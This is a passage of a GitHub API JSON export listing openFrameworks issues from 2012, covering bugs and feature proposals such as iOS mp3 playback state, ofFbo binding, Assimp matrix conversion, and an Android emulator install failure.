buchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":29,"created_at":"2012-07-04T10:27:33Z","updated_at":"2013-02-16T10:15:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per subject line. my suggestion/preference would be for retina to return 1024x768, same as on iOS, to be consistent with the paradigm that iOS uses normally, allowing retina and non-retina code to be identical in the testApp.\n\ni don't know how this is on iphone/ipod touch though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1365","id":5367217,"number":1365,"title":"projectGenerator doesn't create complete iOS moviePlayerExample project","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-30T12:25:54Z","updated_at":"2012-06-30T12:25:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per title, running projectGenerator on the moviePlayerExample folder skips a number of files necessary (VideoPlayerControls.* and VideoPlayerControlsDelegateForOF.*). as a result the example won't compile."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1364","id":5365386,"number":1364,"title":"ofDirectShowGrabber glitches on non-native sizes","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-30T03:41:12Z","updated_at":"2012-06-30T03:42:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"for example, when you ask for 1281x721 it will just display a black image. the pixels are definitely there, but there's some kind of texture bug. videoInput is reporting correctly that the width/height are different than the requested width/height, but ofDirectShowGrabber is not handling that correctly.\n\nalso, we should be using the built in resizing features in other parts of OF now if we can, instead of duplicating the resizing code :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1362","id":5357380,"number":1362,"title":"simple text file loading and saving","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-06-29T16:46:03Z","updated_at":"2012-11-20T00:36:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think this is the simplest way to save a string to a text file right now:\n\n````cpp\nstring str = \"hello\";\nofBuffer msg(str.c_str(), str.length());\nofBufferToFile(\"out.txt\", msg);\n````\n\nthere should be a one-line (one-function, ideally) equivalent similar to http://processing.org/reference/loadStrings_.html and http://processing.org/reference/saveStrings_.html\n\nif we made a constructor for ofBuffer that accepts a string, then it could just be:\n\n````cpp\nofBufferToFile(\"out.txt\", \"hello\");\n````\n\nand a cast operator for ofBuffer to string:\n\n\n````cpp\nstring str;\nofBufferFromFile(\"out.txt\", str);\n````\n\ni'd be ok with that, even though the naming would be a bit obscure."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1361","id":5318139,"number":1361,"title":"ofSoundPlayer::getIsPlaying() does not work with mp3","user":{"login":"prossel","id":541021,"avatar_url":"https://secure.gravatar.com/avatar/47edf7d39b59dd6fc4cb15775b8b7d5f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"47edf7d39b59dd6fc4cb15775b8b7d5f","url":"https://api.github.com/users/prossel","html_url":"https://github.com/prossel","followers_url":"https://api.github.com/users/prossel/followers","following_url":"https://api.github.com/users/prossel/following","gists_url":"https://api.github.com/users/prossel/gists{/gist_id}","starred_url":"https://api.github.com/users/prossel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prossel/subscriptions","organizations_url":"https://api.github.com/users/prossel/orgs","repos_url":"https://api.github.com/users/prossel/repos","events_url":"https://api.github.com/users/prossel/events{/privacy}","received_events_url":"https://api.github.com/users/prossel/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-06-28T08:55:15Z","updated_at":"2012-07-04T08:17:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Looks like getIsPlaying is always returning false if the sound is a .mp3 file. Tested with OF71 on iOS.\n\nTo reproduce:\n\n1. use the soundPlayerExample\n1. drop a .mp3 file in the sounds folder\n1. change the filename in testApp.mm: `synth.loadSound(\"sounds/part1.mp3\");`\n1. run the app\n1. click to start playing sounds\n\nWhen the last two sounds are playing, their title turns red.\n\nThe first sound (mp3) does not turn red because getIsPlaying() returns false."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1359","id":5302782,"number":1359,"title":"ofFbo bind() and unbind() is confusing","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-27T17:50:20Z","updated_at":"2012-06-29T09:17:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"fbo.bind() should bind the FBO's texture, ie behave the same way as ofTexture.bind(). At the moment it actually binds the FBO's framebuffer. this is confusing, and the documentation is inaccurate on this point (http://www.openframeworks.cc/documentation/gl/ofFbo.html#bind).\n\ni would suggest making bind() call getTextureReference().bind(), and adding a new function bindFrameBuffer to do what bind() currently does. comments?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1358","id":5297227,"number":1358,"title":"ofxAssimpModelLoader aiMatrix4x4ToOfMatrix4x4","user":{"login":"neuroprod","id":640585,"avatar_url":"https://secure.gravatar.com/avatar/3623ccdee8e3a141ff0e8d4e8447671d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3623ccdee8e3a141ff0e8d4e8447671d","url":"https://api.github.com/users/neuroprod","html_url":"https://github.com/neuroprod","followers_url":"https://api.github.com/users/neuroprod/followers","following_url":"https://api.github.com/users/neuroprod/following","gists_url":"https://api.github.com/users/neuroprod/gists{/gist_id}","starred_url":"https://api.github.com/users/neuroprod/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neuroprod/subscriptions","organizations_url":"https://api.github.com/users/neuroprod/orgs","repos_url":"https://api.github.com/users/neuroprod/repos","events_url":"https://api.github.com/users/neuroprod/events{/privacy}","received_events_url":"https://api.github.com/users/neuroprod/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-27T13:45:13Z","updated_at":"2012-06-27T17:56:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nline nr 86 this:\n```cpp\nfloat m[16] = { aim.a1,aim.a2,aim.a3,aim.a4,\n\t\t\t\t\taim.b1,aim.b2,aim.b3,aim.b4,\n\t\t\t\t\taim.c1,aim.c2,aim.c3,aim.c4,\n\t\t\t\t\taim.d1,aim.d2,aim.d3,aim.d4 };\n```\nshould be this\n```cpp\nfloat m[16] = { aim.a1,aim.b1,aim.c1,aim.d1,\n\t\t\t\t\taim.a2,aim.b2,aim.c2,aim.d2,\n\t\t\t\t\taim.a3,aim.b3,aim.c3,aim.d3,\n\t\t\t\t\taim.a4,aim.b4,aim.c4,aim.d4 };\n```\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1356","id":5291942,"number":1356,"title":"ofMesh statics","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-06-27T08:56:51Z","updated_at":"2012-06-27T15:13:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"hey all!\n\ni'm going back through issues this week to clean out and work on functionality.\n\nwe talked before @ofTheo and maybe marek? (iirc) about ofMesh statics\n\nMy proposal is something like 'ofMeshLibrary' which has lots of standard meshes that you can pull out or draw directly, e.g.:\n* Grid (quad, plane, etc)\n* Box\n* Sphere\n* Icosphere\n* Cylinder\n* Tube\n* Arrow\netc...\n\nfor each you could do like\n\n```c++\nofMesh myMesh;\n\nofMeshLibrary::sphere::draw(); // draw with default resolution\n\n//ofMeshLibrary::sphere::init() is called the first time you either copy or draw the mesh\nmyMesh = ofMeshLibrary::sphere; // create a local instance of sphere with default resolution\n\nofMeshLibrary::sphere::setResolution(5); // change the resolution of the static sphere\n\nmyMesh = ofMeshLibrary::sphere; // create a local instance of sphere with low resolution\n\nofMeshLibrary::sphere::draw(); // draw with reduced resolution\n```\n\nAnybody see any issues with this being in the core?\nIf not I'll start on this. We discussed it before on irc and it was mostly positive."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1354","id":5280751,"number":1354,"title":"feature suggestion: ofCamera::getXYZat(const ofVec2f & screenCoordinate)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-06-26T18:43:23Z","updated_at":"2012-08-04T21:47:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This would use the same method as ofxGrabCam (pull a pixel from the depth buffer and unproject)\nAnybody have any qualms about including this in ofCamera directly?\n\nalso i suggest we add:\n```glEnable(GL_DEPTH_FUNC);``` to ```ofCamera::begin(...)```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1348","id":5235369,"number":1348,"title":"Android example doesn't run on emulator, but runs on device","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-06-24T12:09:38Z","updated_at":"2012-08-05T21:31:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\n\nI've just followed the setup guide for Android/Eclipse/Linux. Everything works using AndroidEmptyExample, when using a real device, but if I use a freshly generated ICS emulator, it does not run successfully. \nLog:\n\n\t\tBUILD SUCCESSFUL\n\t\tTotal time: 15 seconds\n\t\tcp bin/OFActivity-debug.apk bin/androidEmptyExample.apk\n\t\t#if [ \"device\" = \"device\" ]; then\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb uninstall cc.openframeworks.androidEmptyExample\n\t\tFailure\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb install -r bin/androidEmptyExample.apk;\n\t\t2560 KB/s (8222503 bytes in 3.136s)\n\t\t\tpkg: /data/local/tmp/androidEmptyExample.apk\n\t\tFailure [INSTALL_FAILED_CONTAINER_ERROR]\n\t\t#fi\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb shell am start -a android.intent.action.MAIN -n cc.openframeworks.androidEmptyExample/cc.openframeworks.androidEmptyExample.OFActivity\n\t\tStarting: Intent { act=android.intent.action.MAIN cmp=cc.openframeworks.androidEmptyExample/.OFActivity }\n\t\tError type 3\n\t\tError: Activity class {cc.openframeworks.androidEmptyExample/cc.openframeworks.androidEmptyExample.OFActivity} does not exist.\n\nThe activity class looks alright (and works with a device, anyway). Any ideas what's wrong here, @arturoc ? Is this even fixable on our side?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1347","id":5216147,"number":1347,"title":"rename ofImage.grabScreen","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-22T14:24:37Z","updated_at":"2012-06-23T16:21:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"First: Is this method supposed to be in the public API of OF? Becaue it is missing in the reference on the website.\n\nI think we should discuss the naming of this function. OF has methods like `ofGetHeight()` for getting the height of the app and `ofGetScreenHeight()` for getting the height of the screen. Instead `ofImage_::grabScreen`[1] does not grab the screen. I tested this on arch/ubuntu/win7 and it only grabs the app (everything else is black). Maybe it should be renamed to only `ofImage_::grab`. What do you think?\n\n[1] https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/graphics/ofImage.cpp#L907"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1344","id":5163949,"number":1344,"title":"ofLoadURLAsync crash when no network is available","user":{"login":"gorkacortazar","id":608719,"avatar_url":"https://secure.gravatar.com/avatar/6730aa74ae4edfa08a88f98e1364f5ec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6730aa74ae4edfa08a88f98e1364f5ec","url":"https://api.github.com/users/gorkacortazar","html_url":"https://github.com/gorkacortazar","followers_url":"https://api.github.com/users/gorkacortazar/followers","following_url":"https://api.github.com/users/gorkacortazar/following","gists_url":"https://api.github.com/users/gorkacortazar/gists{/gist_id}","starred_url":"https://api.github.com/users/gorkacortazar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gorkacortazar/subscriptions","organizations_url":"https://api.github.com/users/gorkacortazar/orgs","repos_url":"https://api.github.com/users/gorkacortazar/repos","events_url":"https://api.github.com/users/gorkacortazar/events{/privacy}","received_events_url":"https://api.github.com/users/gorkacortazar/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-20T07:09:34Z","updated_at":"2012-09-26T10:46:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLoadURLAsync crashes when no network is connected, on windows (codeblocks and vidual studio). Seeing the debugger, crashes when the poco::dnserror is being called.\n\nMy current workaround is to use ofLoadURL(...) in a threaded class, that work as expected (catches the error and logs the network error in the ofx console)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1343","id":5134626,"number":1343,"title":"ofVec2f could be more 